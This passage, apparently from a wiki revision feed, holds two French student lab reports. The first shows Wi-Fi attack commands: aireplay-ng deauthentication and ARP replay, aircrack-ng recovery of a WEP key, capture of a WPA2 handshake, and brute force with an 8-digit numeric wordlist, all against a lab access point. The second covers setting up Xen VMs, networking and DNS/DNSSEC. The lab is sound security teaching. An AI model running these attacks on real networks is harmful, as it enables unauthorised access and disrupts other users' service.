* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== 3.6 Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
== Cassage de la clé ==&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12396</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12396"/>
		<updated>2026-02-25T17:06:44Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
